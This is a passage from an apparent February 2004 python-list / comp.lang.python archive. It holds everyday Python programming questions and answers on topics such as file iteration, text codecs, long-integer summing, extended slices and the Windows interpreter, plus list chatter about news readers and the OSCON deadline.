be an interesting problem for some people, but not others.  I would
venture to say that Python provides a larger productivity boost for
_experienced_ programmers, especially those who are very experienced
with OOP and maybe even more so those who have adopted agile methods...

-Peter


From wfolta at netmail.to  Sat Feb 21 19:51:07 2004
From: wfolta at netmail.to (Wayne Folta)
Date: Sat, 21 Feb 2004 19:51:07 -0500
Subject: Perl 6: every concept known to computers is in there
In-Reply-To: <6ee58e07.0402211554.6c32b3ab@posting.google.com>
References: <mailman.98.1077274295.27104.python-list@python.org>
	<6ee58e07.0402211554.6c32b3ab@posting.google.com>
Message-ID: <32EAE737-64D1-11D8-BE52-000A959CB2EC@netmail.to>

>> Someone here mentioned perl 6, so I decided to look in on it and all I
>> can say is it looks like every concept from every computer course,
>> article, and book is now included.
>
> But this is not a positive thing.

I agree mostly.

> For example i love eiffel because it only has one loop construct.
> You can write a song with 10000 notes but normally it will not sound 
> good.

But a song with only one note isn't much to listen to, either. (A song 
with two chords, however, is called a heavy metal hit.)

Eiffel may only have one loop construct, but I'm sure you will find 
many idioms that people use to create the kinds of loops they need in 
practice. Things can be too simple or too complex.

I do think that perl 6 has so much stuff in it that skilled perl 
programmers will not be able to understand each other's code because 
they can only use subset of the language. Still, it's certainly 
fascinating to watch. Even inspiring in some sense, though I'll 
continue with python.




From David  Sat Feb 21 19:13:32 2004
From: David (David)
Date: Sat, 21 Feb 2004 17:13:32 -0700
Subject: How to overide "for line in file:"
Message-ID: <tisf301qf76c8lh0jkq9086gpqoep1bb1u@4ax.com>

How does one overide the iterator implied by the construct "for line
in file:"?

For example, suppose I have a file containing row,col pairs on each
line, and I wish to write a subclass of file that will transform these
to x,y coordinates using an affine transform. I'd like it to look
something like this (but this clearly doesn't work):

class myFile(file):
    def __init__(self,name,affine):
        self.affine = affine
        file.__init__(name)

    def next(self):
        for line in file.__iter__(self):
            r,c = ",".split(line[:-1]
            yield self.affine(r,c)


Thanks in advance!
dave


From paul at prescod.net  Mon Feb 23 04:48:43 2004
From: paul at prescod.net (Paul Prescod)
Date: Mon, 23 Feb 2004 01:48:43 -0800
Subject: Changing the default text codec
In-Reply-To: <8089854e.0402230050.145a8c94@posting.google.com>
References: <8089854e.0402230050.145a8c94@posting.google.com>
Message-ID: <4039CC7B.3060700@prescod.net>

Fuzzyman wrote:
> Sorry if my terminology is wrong..... but I'm having intermittent
> problems dealing with accented characters in python. (Only from the 8
> bit latin-1 character set I think..)

I would say that if you get a 100% failure rate in IDLE and a 100% 
success rate from a console program then your problem is not 
intermittent but environment specific.

> For example - if I run my program from IDLE and give it the word
> 'degri' (containing e-acute) then I get the error :

What do you mean "give it the word". Through raw_input()? Through a file?

However you are getting this information, it seems to me that in IDLE 
you are getting a Unicode object rather than an 8-bit string object. 
Convert it to an 8-bit string:

mydata.encode("latin-1")

 >  if letter in self.valid_letters:
 > UnicodeDecodeError: 'ascii' codec can't decode byte 0x83 in position
 > 26: ordinal not in range(128)

Something looks suspicious here. I wouldn't expect self.valid_letters to 
have a 0x83 character in it because I would expect it to be hard-coded 
to ASCII in your program like:

valid_letters = "abcdefghijklmnopqrstuvwxyzABCDEF..."

On the other hand I wouldn't expect "letter" to have more than one 
character so how could it have a problem at position 26?

> What I'd like to do is switch by default to an 8 bit codec (latin-1 I
> think ?????) and then offer the user the choice of either mapping the
> accented characters to their nearest equivalent (e-acute to e for
> example) *or* treating them as seperate characters.............

Why change the default codec rather than explicitly using the codec you 
care about? If you want to work in the 8-bit world rather than the 
Unicode world, just use the "encode" function on the Unicode object. If 
you want to work in the Unicode world.

> I can't work out how to change the default codec (no matter what the
> locale) ?

I'd advise against fixing the problem in that way. Convert data 
appropriately when you bring it from the outside world into the Python 
program and ignore the default codec.

  Paul Prescod




From gerrit at nl.linux.org  Tue Feb 17 04:36:26 2004
From: gerrit at nl.linux.org (Gerrit)
Date: Tue, 17 Feb 2004 10:36:26 +0100
Subject: mailing list problems?
In-Reply-To: <200402162153.37084.tim.jarman@lineone.net>
References: <20040214221839.GA22649@nl.linux.org> <c0o5ht$uvk$1@sea.gmane.org>
	<DE3D72AE-5FF6-11D8-BE5B-000A959CB2EC@netmail.to>
	<200402162153.37084.tim.jarman@lineone.net>
Message-ID: <20040217093626.GA3162@nl.linux.org>

[me]
> > > I have today seen only 5 mailing list messages to the python-list.
> > > I see >30 messages in c.l.py newsgroup.
> > > Do other people experience problems as well, or do I have a problem at
> > > my end?

[Wayne Folta]
> > No, I've only seen a handful of messages in the last couple of days,
> > too. It's strange to see more messages in the Mac Python list than in
> > this one. (My domain is ".to", but I'm in the US, if that makes a
> > difference.)

[Tim Jarman]
> Same in the UK (on a .net domain). Other lists I'm on seem to have the 
> expected volume of traffic, although it's hard to be sure as the others are 
> all much less busy than c.l.p.

I think the news2mail gateway is broken. This e-mail is cc'ed to the
list-owner and the postmaster, hopefully they are able to fix it.

Gerrit.

-- 
Weather in Twenthe, Netherlands 17/02 08:25 UTC:
	2.0??C mist overcast wind 1.3 m/s SSW (57 m above NAP)
-- 
Asperger's Syndrome - a personal approach:
	http://people.nl.linux.org/~gerrit/english/



From Greg.Lindstrom at acxiom.com  Thu Feb 19 12:52:56 2004
From: Greg.Lindstrom at acxiom.com (Lindstrom Greg - glinds)
Date: Thu, 19 Feb 2004 11:52:56 -0600
Subject: COM Help
Message-ID: <ABEE81BE08ADD311B6A1009027DE908D16A94FBE@conmsx03.corp.acxiom.net>

I have been working with the Windows MAPI material trying to understand what
is going on.  There appears to be a lot of code out there showing how things
work (kind of)  but very little documentation on *why* things happen.  After
some searching and reading on google (google *is* my friend) I have run
makepy and generated the files for Outlook.  My question is can I use the
com browser to tell me what is happening when I  issue:

outlook = Dispatch("Outlook.Application.9")

and why do I have the ".9" on the end of the app string?  Then what is this?

namespace = self.outlook.GetNamespace("MAPI")

and what are the methods associated with it.  Again, I'm wanting to know how
I get this information (though if you just want to answer my questions I
will be glad to listen).  Once I have an understanding of what's going on, I
will try to write a tutorial (unless one is written, in which case I really
want to get my hands on it).  I really want to learn how to fish rather
than....well, you know.  I've spend a few hours reading documentation at
microsoft.com and came away with little more than a headache.

Thanks for your help.

Greg Lindstrom, IBCATS Development
Acxiom Corporation
(501) 342-1626      GregLindstrom at acxiom.com

We who cut mere stones must always be envisioning cathedrals. -- Quarry
Worker's Creed 





**********************************************************************
The information contained in this communication is
confidential, is intended only for the use of the recipient
named above, and may be legally privileged.
If the reader of this message is not the intended
recipient, you are hereby notified that any dissemination, 
distribution, or copying of this communication is strictly
prohibited.
If you have received this communication in error,
please re-send this communication to the sender and
delete the original message or any copy of it from your
computer system. Thank You.




From jcarlson at nospam.uci.edu  Sun Feb 22 14:09:03 2004
From: jcarlson at nospam.uci.edu (Josiah Carlson)
Date: Sun, 22 Feb 2004 11:09:03 -0800
Subject: strange sum behavior
In-Reply-To: <4038c522$1_3@mk-nntp-1.news.uk.worldonline.com>
References: <4038c522$1_3@mk-nntp-1.news.uk.worldonline.com>
Message-ID: <c1autc$rq1$1@news.service.uci.edu>

simon place wrote:

> while playing about with inheriting from list to be able to cache macro 
> properties i noticed this, the rate of summing a list seems to be over 
> linear?
> 
> its nearly 3 times faster to sum the sums of smaller lists?
> 
> 
> from time import clock
> 
> l=range(0,1000000)
> 
> start=clock()
> print sum(l),
> print clock()-start
> 
> # now sum a list of the sums of 1000 slices.
> start=clock()
> print sum([sum(l[x:x+1000]) for x in xrange(0,len(l),1000)]),
> print clock()-start
> 
> # repeat
> start=clock()
> print sum(l),
> print clock()-start
> 
> # output from 500MHz AMD K62 64Mb Python 2.3.3 (#51, Dec 18 2003, 
> 20:22:39) [MSC v.1200 32 bit (Intel)] on win32
> #499999500000 1.89348044721
> #499999500000 0.731985115406
> #499999500000 1.90818149818

You are confusing the behavior of summing long integers with that of 
summing integers.

When you sum from 0 to 65,534, your sum is just under sys.maxint on (32 
bit machines).  When you sum from 0 to 65,535, your sum is just over 
sys.maxint (on 32 bit machines), and becomes a Python Long.  It is no 
longer a single add instruction when running on the core processor when 
adding the running total with the next number, it is multiple 
instructions.  If you check the implementation, Python ends up doing 
manual adds and carries on unsigned C shorts, which makes up each 
'digit' in a Python long.

When you break the pieces up into blocks of 1000, the largest sum is for 
998,999 to 999,999, which is 999,499,500; which you will notice is 
smaller than sys.maxint (on 32 bit machines), and at worst only results 
in 1000 Python long adds, as compared with 934464 long additions in your 
original method (that factor of 934 times as many long additions is crazy).

The fact that it is /only/ 3 times slower shows us that Python's long 
integer implementation for smaller long integers works pretty damn well.

  - Josiah


From dk123456789 at REMOVEhotmail.com  Sun Feb 29 14:52:05 2004
From: dk123456789 at REMOVEhotmail.com (Dave K)
Date: Sun, 29 Feb 2004 20:52:05 +0100
Subject: Tab expansion problem or ..?
References: <8d3e714e.0402271329.40201ed2@posting.google.com>
Message-ID: <1tb440phvdv8bbe484pv5q9kbc568d3ffv@4ax.com>

On 27 Feb 2004 13:29:13 -0800 in comp.lang.python, cappy2112 at yahoo.com
(Tony C) wrote:

>I've written a program which reads a text file in , and writes it out
>to a new filename.
>
>When the program encounters a line which contains a specific text
>label-, I read in the hex number adjacent to the label, convert the
>number to decimal, then write the line of text to the output file.
>
>Essentially, the output file is mostly identical to the input file,
>with the exception of the hex numbers being converted to decimal.
>
>The problem I'm having is getting the exact location of the hex
>numbers.
>
>fhIn = open("input.txt")
>
>for line in fhIn:
>  if 'HEXNUM' in line:
>    Hexloc = line.find('HEXNUM')
>    print"\n%s" % line[:Hexloc]
>
>The index returned by find() does not seem to be accurate.
>
>When I display the line using the offset (Hexloc), the text displayed
>is many characters away from the text label 'HEXNUM'.


It works perfectly well for me, with and without tabs (I've changed
the print statement slightly to include the search text):

>>> def find_hexnum(fhIn):
	    for line in fhIn:
		        if 'HEXNUM' in line:
			            Hexloc = line.find('HEXNUM')
			            print"%s" % line[:Hexloc+6]

>>> find_hexnum(['123HEXNUMaa456789','abcHEXNUM00defg'])
123HEXNUM
abcHEXNUM
>>> find_hexnum(['12\t3HEXNUMaa456789','abc\tHEXNUM00defg'])
12	3HEXNUM
abc	HEXNUM

If this doesn't work for you, a sample line from your input file which
is incorrectly parsed, plus your code which does the parsing, would be
useful.

Dave



From fgeiger at datec.at  Fri Feb 13 07:39:08 2004
From: fgeiger at datec.at (F. GEIGER)
Date: Fri, 13 Feb 2004 13:39:08 +0100
Subject: Is a File a Subdirectory of Another Directory
References: <8089854e.0402130119.7c55e9a2@posting.google.com>
Message-ID: <c0igh0$111$1@newshispeed.ch>

I work with absolute paths only. I once had written classes DirName and
PathName (:= DirName + FileName) and always use them for such operations.

Within my apps I can ask questions like yours like so:
if str(anyPath.dn()).startswith(str(anyDirName)):
   print "Sorry, access restricted. "

Or w/o conv. to a string:
if anyPath.dn().startswith(anyDirName):
   print "Sorry, access restricted. "

HTH
Franz GEIGER

"Fuzzyman" <michael at foord.net> schrieb im Newsbeitrag
news:8089854e.0402130119.7c55e9a2 at posting.google.com...
> I wish to restrict access to a program to certain directories. I also
> wish to prevent access to certain directories.
>
> What this means is that given a path, I need to work out if that path
> is in a certain directory... or in a subdirectory of that directory.
> (On a Linux server).
>
> The only way I can think of so far is to turn both paths into absolute
> paths, strip off the filename and compare... is this the most elegant
> way ?
>
> Fuzzy
>
> http://www.voidspace.org.uk/atlantibots/pythonutils.html




From maxm at mxm.dk  Tue Feb  3 03:18:19 2004
From: maxm at mxm.dk (Max M)
Date: Tue, 03 Feb 2004 09:18:19 +0100
Subject: Smarter way of doing this?
In-Reply-To: <5d83790c.0402022321.2202ea95@posting.google.com>
References: <401e4d57$0$295$edfadb0f@dread12.news.tele.dk>
	<5d83790c.0402022321.2202ea95@posting.google.com>
Message-ID: <401f5953$0$248$edfadb0f@dread12.news.tele.dk>

Raymond Hettinger wrote:

> Here is a simplified version of the approach you took:
> 
> def select(tab, random=random.random):
>     cp = 0
>     r = random()
>     for i, p in enumerate(tab):
>         cp += p
>         if cp > r:
>             return i
>     raise Exception('probabilities do not add upto 1.0')

> * re-arrange the tables to make sure the largest probabilities come
> first. Intentionally or not, your sample data is already arranged this
> way (though the probabilities add up to more than 1.0 and should be
> scaled back to 1.0).


It doesn't really have to be scaled to 1.0 as long as they get selected 
with a frequency that corresponds to their probability.


> IOW, if speed is what is important, then be sure to exploit any known
> structure in the data (ordering, cumulativeness, integer rations, etc)
> and don't compute anything twice (pre-compute the summation).


Lot's of good stuff. Thanks.

Max M


From dek at pabst.lbl.gov  Fri Feb 13 12:15:20 2004
From: dek at pabst.lbl.gov (David E. Konerding DSD staff)
Date: Fri, 13 Feb 2004 17:15:20 +0000 (UTC)
Subject: Mathematica-style notebook in Python
References: <5eb8fb88.0402121313.6a48602b@posting.google.com>
	<1f0bdf30.0402122327.13f7122f@posting.google.com>
Message-ID: <slrnc2q1h8.phs.dek@pabst.lbl.gov>

In article <1f0bdf30.0402122327.13f7122f at posting.google.com>, Erik Lechak wrote:
> rick_muller at yahoo.com (Rick Muller) wrote in message news:<5eb8fb88.0402121313.6a48602b at posting.google.com>...
>> I was wondering whether anyone has considered writing a
>> Mathematica-style notebook in Python. I use Python to do a lot of
>> scientific analysis, and I really like it's power. But what I always
>> envy about my friends who use Mathematica is the notebooks they
>> generate, which contain plots, annotations, and other information, in
>> a format that can be reloaded easily when you want to check your work.
>> 
>> Before I start doing something like this, has anyone else considered
>> it?

You could use my "Py-ML" library which provides Mathematica support in Python.

http://py-ml.sourceforge.net/

You should (in theory- I never tried it) be able to create notebooks programmatically
and control them from Python.

Here's an example of using Py-ML:

>>> function = MathematicaFunction("Plus",MathematicaInteger(1),[MathematicaSymbol("x")]) 

>>> print function
Plus[1,x] 

>>> expression = MathematicaExpression(function)
>>> e = m.evaluate(expression)
>>> result= m.process() 


>>> Plus = MathematicaFunction("Plus")
>>> function = Plus(1+"x")
>>> print function
Plus[1,x]
or
>>> x=MathematicaSymbol("x")
>>> function = 1+x
>>> print function
Plus[1,x] 


More complicated functions, such as integrals, are entered easily.
The integral of x^2 with x varying from 0 to 2:
function = Integrate(Power("x",2), List("x",0,2)) 



... unfortunately, I don't really use Mathematica any more (it's just too expensive and it never simplified
any interesting integrals for me), so Py-ML isn't really an active software project any more.
There are a lot of interesting opportunities for further development.

Dave


From scrutinizer at gmx.at  Tue Feb  3 12:49:45 2004
From: scrutinizer at gmx.at (Francesco)
Date: Tue, 03 Feb 2004 18:49:45 +0100
Subject: wxPython issues
References: <ssaq10pipoj5c8hn7pjcm2r1o0vvf9j8j2@4ax.com>
	<bvk4m4$rna$1@news.service.uci.edu>
	<b6et10l67pa22s4sf34tp646efd7ip78t9@4ax.com>
	<bvmn6r$9r0$1@news.service.uci.edu>
Message-ID: <5onv10pd080l2jkufaigdtcn21p2735jpf@4ax.com>

On Mon, 02 Feb 2004 15:38:59 -0800, Josiah Carlson
<jcarlson at nospam.uci.edu> wrote:


Hello Josiah,

>> No, the thing is:
>> 
>> It is a (still primitive) filemanager, where copy should be run in a
>> worker thread
>> in background (you can copy 1 GB file), and you should be able to work
>> with the
>> program without waiting
>
[snip]

thank you again for your valuable Information!

regards
-- 
Francesco


From newsgroups at jhrothjr.com  Thu Feb 26 08:50:24 2004
From: newsgroups at jhrothjr.com (John Roth)
Date: Thu, 26 Feb 2004 08:50:24 -0500
Subject: Asterisk sign in python
References: <mailman.159.1077796055.8594.python-list@python.org>
Message-ID: <103ruclu1lbcdb@news.supernews.com>

"sarmin" <sarmin_kho at yahoo.com> wrote in message
news:mailman.159.1077796055.8594.python-list at python.org...
> Hi Pythoners...
>
> It seems to me the Asterisk (*) sign in python means many things...
>
> if a python code line looks like this:
> def__init__(self, func, *param):
>   bla bla bla...
>
> and then u have something like this:
> func(*param)
>
> and then something like this:
> def Wrapper(select, func, param):
>    bla bla bla...
>
> I took this section of code from the 'Python Cookbook' textbook page
> 223 about 'Running Functions in the future'...
>
> I just cant figure out what is the asterisk (*) sign for and what is
> the different between *param and param??
>
> Many thanks Pythoners...
>
> Regards
> sarmin

It's for variable length parameter lists. In a function
definition, one * is a list of additional positional
parameters, two **s is a dictionary of additional
keyword parameters.

In a function call, one * is a list of additional
positional parameters, two **s is a dictionary
of additional keyword parameters.

John Roth
>
>




From guido at python.org  Tue Feb  3 10:00:37 2004
From: guido at python.org (Guido van Rossum)
Date: Tue, 03 Feb 2004 07:00:37 -0800
Subject: OSCON Reminder: proposal deadline Februrary 9
Message-ID: <200402031500.i13F0ct19651@c-24-5-183-134.client.comcast.net>

Just a quick reminder: you have another week to submit a proposal for
the Python 12 Conference at OSCON:

The O'Reilly Open Source Convention (OSCON) will be held July 26-30,
2004 at the Portland Marriott Downtown in Portland, OR.
http://conferences.oreillynet.com/os2004/

Proposals Submission Information--Deadline: February 9, 2004
http://conferences.oreillynet.com/cs/os2004/create/e_sess

--Guido van Rossum (home page: http://www.python.org/~guido/)



From nav+posts at bandersnatch.org  Fri Feb  6 13:04:07 2004
From: nav+posts at bandersnatch.org (Nick Vargish)
Date: 06 Feb 2004 13:04:07 -0500
Subject: OT: Recommended news reader?
References: <4f0a9fdb.0402031309.fde7220@posting.google.com>
	<m3y8rhbenz.fsf@tanelorn.bandersnatch.org>
	<y8rh9zfx.fsf@python.net> <Xns9486E9AD26AFEJanC@213.119.4.35>
	<isik8w50.fsf@python.net> <c00ho4$inl$1@news.service.uci.edu>
	<mailman.1303.1076089918.12720.python-list@python.org>
Message-ID: <m3ekt89jag.fsf@tanelorn.bandersnatch.org>

Jp Calderone <exarkun at intarweb.us> writes:

>   The IMAP support in Thunderbird is atrocious.

Really? How so? I've been using it with a courier-imap server quite
happily. It also seems to talk to the Exchange server at work without
a complaint (nice not to have to use Outlook).

Nick

-- 
#  sigmask  ||  0.2  ||  20030107  ||  public domain  ||  feed this to a python
print reduce(lambda x,y:x+chr(ord(y)-1),' Ojdl!Wbshjti!=obwAcboefstobudi/psh?')


From ptmcg at austin.stopthespam_rr.com  Sat Feb 21 21:42:59 2004
From: ptmcg at austin.stopthespam_rr.com (Paul McGuire)
Date: Sun, 22 Feb 2004 02:42:59 GMT
Subject: Having trouble extracting useful directory details from
	ftplib.FTP
References: <etle3058fkbe7k2mrf6jlucuj929ns7tju@4ax.com>
Message-ID: <TGUZb.6905$J84.5743@fe1.texas.rr.com>

"Stephen Horne" <steve at ninereeds.fsnet.co.uk> wrote in message
news:etle3058fkbe7k2mrf6jlucuj929ns7tju at 4ax.com...
>
> Just recently I decided I want to make use of my ISP freebie webspace.
> In order to make that easier, I'd like to be able to automatically
> synchronise an FTP file/folder heirarchy with one on my local hard
> drive. I figured this should be easily handled in Python, and broadly
> speaking it is, but I am having a little difficulty.
>
<snip>
Is this anything like ftpmirror.py?  You'll find it in the tools\scripts
directory of the Python distribution.

-- Paul




From jonas at jonasgalvez.com  Fri Feb 20 02:09:04 2004
From: jonas at jonasgalvez.com (Jonas Galvez)
Date: Fri, 20 Feb 2004 04:09:04 -0300
Subject: Linebreak problem on the interactive interpreter Win2k
Message-ID: <c14ccl$hvb$1@sea.gmane.org>

A few days ago I posted about a problem I was having on Win2k,
regarding a SyntaxError error on the interactive interpreter to
anything I typed. The thread is located here: tinyurl.com/2kk7b

I've mode some progress on this. I noticed that the problem in
fact lies on the line break. If I place a # on the end of the line,
Python has no problem interpreting it:

C:\>python
Python 2.3.3 (#51, Dec 18 2003, 20:22:39) [MSC v.1200 32 bit (Intel)] on win32
Type "help", "copyright", "credits" or "license" for more information.
>>> print "This works" #
This works
>>>

However:

>>> print "This doesn't work"
  File "<stdin>", line 1
    print "This doesn't work"
                             ^
SyntaxError: invalid syntax
>>>

The problem is that Python is not interpreting "\r\n" correctly:

>>> import sys; sys.last_value.text #
'print "This doesn\'t work"\r\n'
>>>

Can I change this anyhow?


Jonas







From nospam-deets at web.de  Thu Feb  5 08:17:05 2004
From: nospam-deets at web.de (Diez B. Roggisch)
Date: Thu, 05 Feb 2004 14:17:05 +0100
Subject: Print function and spaces
References: <mailman.1237.1075981181.12720.python-list@python.org>
	<pan.2004.02.05.14.09.33.415528@mavd.de>
Message-ID: <bvtfop$vs5l8$1@ID-111250.news.uni-berlin.de>

> def PrintWithoutSpaces(*args):
>     output = ""
>     for i in args:
>         output = output + i
>         
>     print output
>     
> 
> if __name__ == "__main__":
>     PrintWithoutSpaces("yo", "hello", "gutentag")
> ---snip----
> 
> this prints "yohellogutentag"

You function won't work on mixed-type args:

PrintWithoutSpaces("a", 10)
Traceback (most recent call last):
  File "<stdin>", line 1, in ?
  File "<stdin>", line 4, in PrintWithoutSpaces
TypeError: cannot concatenate 'str' and 'int' objects


A better way would be this:

def myprint(*args):
  print "".join([str(x) for x in args])




From jcarlson at nospam.uci.edu  Sun Feb  1 14:19:29 2004
From: jcarlson at nospam.uci.edu (Josiah Carlson)
Date: Sun, 01 Feb 2004 11:19:29 -0800
Subject: Python vs. Io
In-Reply-To: <711c7390.0401311220.763be80a@posting.google.com>
References: <711c7390.0401291301.3f95794@posting.google.com>
	<qnkfzdyieg0.fsf@arbutus.physics.mcmaster.ca>
	<711c7390.0401301710.4353274@posting.google.com>
	<bvf6kc$2v$2@news.service.uci.edu>
	<711c7390.0401311220.763be80a@posting.google.com>
Message-ID: <bvjjk8$co6$1@news.service.uci.edu>

Daniel Ehrenberg wrote:

>>Perhaps it isn't more flexible.  On the other hand, it does allow anyone 
>>to read your code and know that there isn't any magical syntax that is 
>>usable on one Python x.y installation, that isn't on another.
>>

As mentioned by Sean Ross, I was talking about Python x.y compatibility 
with other copies of version x.y.  With the way you describe IO, it 
encourages people to customize flow control and syntax.  Such 
customization does not necessarily increase readability, usability, or 
write-once-run-anywhere with IO version u.v.  It may also fragment the 
language in the long run into different camps; those that like the slim 
version, and those that like a version with every modification they can 
find.

  - Josiah


From kbk at shore.net  Sat Feb  7 12:42:18 2004
From: kbk at shore.net (Kurt B. Kaiser)
Date: Sat, 07 Feb 2004 17:42:18 GMT
Subject: Python can't divide??!?!
References: <mailman.1252.1076003166.12720.python-list@python.org>
	<87y8rgjlue.fsf@hydra.localdomain>
	<mailman.1326.1076131994.12720.python-list@python.org>
Message-ID: <877jyyiy6d.fsf@hydra.localdomain>

John Hunter <jdhunter at ace.bsd.uchicago.edu> writes:

> The thing that may be tripping you up is that (val) is simply the
> value, and (val,) is a tuple containing the value as the first
> element.  As for printing a value versus a tuple of values, that's the
> __repr__ versus __str__ distinction previous posters have referred to.

:-)

Tim enlightened me on this issue some years ago, when I suggested a
"solution" using sys.displayhook;

http://www.google.com/groups?q=g:thl2117804141d&dq=&hl=en&lr=&ie=UTF-8&oe=UTF-8&selm=mailman.991854611.2080.python-list%40python.org

Just try explaining this stuff to a 9 year old learning Python!  It
tends to break the expository flow....

-- 
KBK

"Don't sit there with your face all screwed up. Swallow!
 Cod liver oil is good for you"


From miki.tebeka at zoran.com  Tue Feb  3 16:09:23 2004
From: miki.tebeka at zoran.com (Miki Tebeka)
Date: 3 Feb 2004 13:09:23 -0800
Subject: OT: Recommended news reader?
Message-ID: <4f0a9fdb.0402031309.fde7220@posting.google.com>

Hello All,

Which news reader do you recommend?
Currently I use Google Groups and find it a bit to dull.

Thanks.
Miki


From r.s at ZZmindspring.com  Thu Feb  5 21:23:38 2004
From: r.s at ZZmindspring.com (r.e.s.)
Date: Fri, 06 Feb 2004 02:23:38 GMT
Subject: How can this be?
References: <4eBUb.15701$uM2.7740@newsread1.news.pas.earthlink.net>
	<mailman.1279.1076032014.12720.python-list@python.org>
Message-ID: <KUCUb.15828$uM2.1639@newsread1.news.pas.earthlink.net>

"Paul Prescod" <paul at prescod.net> wrote ...

> You sent a reference to L into the function. The function probably 
> mutated it. If you wish the function to work with a copy, try this:
> 
>       from A import *
>       L = [0]
>       print L
>       x = f(L[:], 'a data string')
>       print L
> 
> This is normal and often useful behaviour.

I can see that it would be -- Thanks for answering 
a beginner's question. I notice also the following:

    def f(L): 
        L[0] = 1
    
    def g(L):
        L = [1]

    L1 = [0],  L2 = [0]

    f(L1), g(L2)

... L1 gets mutated, but not L2 (even though both
references were passed).  It's probably explained 
in the tutorial -- which I'm now going to re-read.

--r.e.s.


From Holger.Joukl at LBBW.de  Thu Feb 19 09:00:38 2004
From: Holger.Joukl at LBBW.de (Holger Joukl)
Date: Thu, 19 Feb 2004 15:00:38 +0100
Subject: python 2.3.3 setup.py: why adding sys.prefix to include_dir,
	libdir? ['LBBW': checked]
Message-ID: <OF7303BAD5.B97DFCD8-ONC1256E3F.004A1162@lbbw.sko.de>

I am restricted to using Lotus Notes right now, so I try to make my
comments
recognizable with ###

> ...
> I understand the --prefix=PREFIX sets the installation _target_
directory.
> Does it make sense to have these paths in include_dirs/library_dirs? Why
> would I want this?

Well, to work completely out of the box setup.py would need to be
telepathic, omniscient and be able to see into the future.  We're
working on that <wink>, but not there yet.

So I wouldn't regard having to hand-hack setup.py as being in
particularly bad taste.

### Nothing against hand-hacking, but I still cannot see it makes sense to
have
### my target installation directoris put into library_dirs/include_dirs.
### Only reason might be the assumption that the target dirs are where
### anything relevant for building python lives, aside from the hardwired
### /usr/... and /usr/local/...

> In fact, as it turned out that I had some bogus header files in the
> PREFIX directory, an extension module would not compile.

Well, might I suggest not installing broken headers on your system?  I
mean, I can think of real reasons for not wanting $(prefix) on the
search path, but not this one.

### You are right there, but then this was just a silly way to detect
### s.th. that seems strange (to me) anyway ;-). I also have to correct
### myself, as it is not the header but the accompanying shared libs.

> 2. As a lot of things do not live in the "standard" places in our
> environment,

What is your environment, out of curiosity?

### SunOS dev-b 5.6 Generic_105181-30 sun4u sparc SUNW,Ultra-250
### We are generally using a nfs python installation which does not live
### in /usr/local. In preparation for moving from 1.5.2 to 2.3.3,
### I am installing to a different (local) dir tree for testing purposes;
this
### is where the conflicting libs where found (=PREFIX, my configure
### target dir).

> there seem to be several places where I have to change setup.py
> manually. E.g. adding runtime library dirs for curses, gdbm etc.  Is
> there another way to achieve correct build, in terms of telling my
> non-standard paths to configure in the first place?

Er, no, or at least not in general.  Editing Modules/Setup is another
option...

> Just to spare me from changing setup.py...

... as is submitting patches to SF that make setup.py look in these
places, if they are in fact "standard" for your environment but not
for, say, Red Hat Linux.

### As said, the paths are non-standard platform-wise; just wondered if
### there is a way to say "use these custom paths instead of the standard
### paths to build".

###Thanks,
###  Holger

Der Inhalt dieser E-Mail ist vertraulich. Falls Sie nicht der angegebene
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From paul at prescod.net  Sun Feb  8 15:46:20 2004
From: paul at prescod.net (Paul Prescod)
Date: Sun, 08 Feb 2004 12:46:20 -0800
Subject: Extended slice notation doesn't recognise integer
In-Reply-To: <pan.2004.02.08.20.20.46.250645@shaw.ca>
References: <pan.2004.02.08.20.20.46.250645@shaw.ca>
Message-ID: <4026A01C.70409@prescod.net>

Thomas Covello wrote:

> Why does the following code give this error:
> 
>>>>[0, 1, 2, 3, 4][::2]
> 
> TypeError: sequence index must be integer

In Python 2.2 lists did not support extended slice notation but in 2.3 
they do.

Python 2.3.2 (#4, Feb  2 2004, 00:30:40)
[GCC 3.1 20020420 (prerelease)] on darwin
Type "help", "copyright", "credits" or "license" for more information.
 >>> [0, 1, 2, 3, 4][::2]
[0, 2, 4]

http://www.python.org/peps/pep-0283.html
"This document describes the development and release schedule for Python 
2.3."

"Extended slice notation for all built-in sequences.  The patch by 
Michael Hudson is now all checked in."

  Paul Prescod





From sdfATexpertuneDOTcom  Wed Feb 25 08:17:29 2004
From: sdfATexpertuneDOTcom (Scott F)
Date: Wed, 25 Feb 2004 13:17:29 -0000
Subject: Python scripts in IIS
References: <LIr_b.5246$yZ1.386@newsread2.news.pas.earthlink.net>
	<403A5840.CE02049@engcorp.com>
	<f0u_b.6405$aT1.4998@newsread1.news.pas.earthlink.net>
	<403A7103.7F1CE0D8@engcorp.com>
	<aHv_b.6560$aT1.3079@newsread1.news.pas.earthlink.net>
	<Xns949954A8E8DA6sdfexpertunecom@216.168.3.44>
	<6DJ_b.7904$aT1.2403@newsread1.news.pas.earthlink.net>
	<2c60a528.0402250300.17451bfe@posting.google.com>
Message-ID: <Xns949A4A2BB5E01sdfexpertunecom@216.168.3.44>

and-google at doxdesk.com (Andrew Clover) wrote in
news:2c60a528.0402250300.17451bfe at posting.google.com: 

> 
> Note: you really want -
> 
>    ...python.exe -u %s %s
> 
> The -u ensures you get binary IO streams, which will become
> significant if you are receiving file upload fields or returning a
> non-textual response (ie. file download).
> 

Can you reference the documentation for the  -u  argument?

Thanks.

Scott


From martin at v.loewis.de  Thu Feb  5 01:21:51 2004
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Thu, 05 Feb 2004 07:21:51 +0100
Subject: "ulimit -s" has no effect?
In-Reply-To: <877jz2f8l9.fsf@dgp.toronto.edu>
References: <877jz2f8l9.fsf@dgp.toronto.edu>
Message-ID: <bvsndq$q03$00$1@news.t-online.com>

Maciej Kalisiak wrote:
> Now, my understanding is that I get the segfault when Python overruns the C
> stack.  Naturally the last number printed should go up when I increase the
> stack size in the shell before calling Python, by using "ulimit -s <number 
> of k>".   But this seems to not be the case.  Whatever value I use with
> ulimit, Python always segfaults at the same recursion depth.  Any advice on
> how to get things to work proper with this?

As a starting point, verify that the limit you set actually does get
set. It may be that you don't have permission to increase your stack
limit.

Regards,
Martin



From __peter__ at web.de  Sun Feb  8 11:46:08 2004
From: __peter__ at web.de (Peter Otten)
Date: Sun, 08 Feb 2004 17:46:08 +0100
Subject: Overriding the __new__ method
References: <87vfmho7yw.fsf@gmx.net>
Message-ID: <c05p4h$asl$03$1@news.t-online.com>

Christoph Groth wrote:

> Hello,
> 
> The essay "Unifying types and classes in Python 2.2"
> http://www.python.org/2.2.1/descrintro.html says in section
> "Overriding the __new__ method":
> 
> <quote>
> This class isn't very useful (it's not even the right way to go about
